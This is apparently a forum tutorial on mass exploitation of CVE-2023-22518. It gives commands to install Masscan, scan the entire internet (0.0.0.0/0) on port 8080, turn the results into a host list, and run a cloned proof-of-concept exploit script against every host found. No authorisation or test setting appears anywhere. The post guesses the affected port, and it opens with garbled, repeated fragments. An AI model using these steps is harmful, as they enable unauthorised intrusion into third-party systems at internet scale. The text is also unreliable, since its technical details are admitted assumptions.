In this tutorial, we will guide you through the process of using Masscan, a high-speed port scanner, to scan the entire internet for systems vulnerable to CVE-2023-22518. This CVE pertains to a specific vulnerability which you should verify and understand fully before proceeding.
bash
For other systems, you may need to build from source:
bash
In this example:
bash
Alternatively, you can run Masscan with command-line arguments:
bash
bash
This command will generate a scan_results.txt file with the IP addresses of hosts running the vulnerable service on port 8080.
Make sure to format the masscan output to the correct format for the POC code.
bash
Prerequisites
- A machine with Masscan installed: Ensure you have a dedicated server or virtual machine with sufficient resources.
- Root privileges: You need to run Masscan as root or with sudo privileges.
- Understanding of the CVE-2023-22518: Familiarize yourself with the specific ports and protocols associated with this CVE.
Step 1: Install Masscan
First, install Masscan on your machine. On a Debian-based system, you can do this with:bash
Код:
sudo apt-get update
sudo apt-get install masscan
For other systems, you may need to build from source:
bash
Код:
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
sudo make install
Step 2: Understand the CVE-2023-22518
Before running a scan, understand which ports and services are affected by this CVE. Let's assume CVE-2023-22518 affects a service running on port 8080.Step 3: Configure Masscan
Create a configuration file masscan.conf to set the parameters for the scan. Here is an example configuration:ini
Код:
rate = 100000
output-format = binary
output-filename = scan_results.bin
ports = 8080
In this example:
- rate sets the speed of the scan (100,000 packets per second).
- output-format sets the output format (binary for faster performance).
- output-filename specifies the name of the output file.
- ports specifies the port to scan (8080 in this case).
Step 4: Run Masscan
To run Masscan using the configuration file, use the following command:bash
Код:
sudo masscan -c masscan.conf
Alternatively, you can run Masscan with command-line arguments:
bash
Код:
sudo masscan 0.0.0.0/0 -p8080 --rate 100000 -oB scan_results.bin
Step 5: Convert Results to Readable Format
Masscan outputs results in binary format for efficiency. Convert the results to a readable format using:bash
Код:
sudo masscan -oL scan_results.txt -r scan_results.bin
This command will generate a scan_results.txt file with the IP addresses of hosts running the vulnerable service on port 8080.
Step 6: Analyze Results
Open the scan_results.txt file to review the scanned IP addresses. Each line will show an IP address with the open port 8080.Step 7: Verify Vulnerability
Having identified potentially vulnerable systems, you should verify the actual vulnerability using more specific tools or scripts related to CVE-2023-22518. This might involve:Make sure to format the masscan output to the correct format for the POC code.
bash
Код:
git clone https://github.com/sanjai-AK47/CVE-2023-22518
cd CVE-2023-22518
python3 exploit.py -dL hosts.txt -o output.txt -t 30
Последнее редактирование: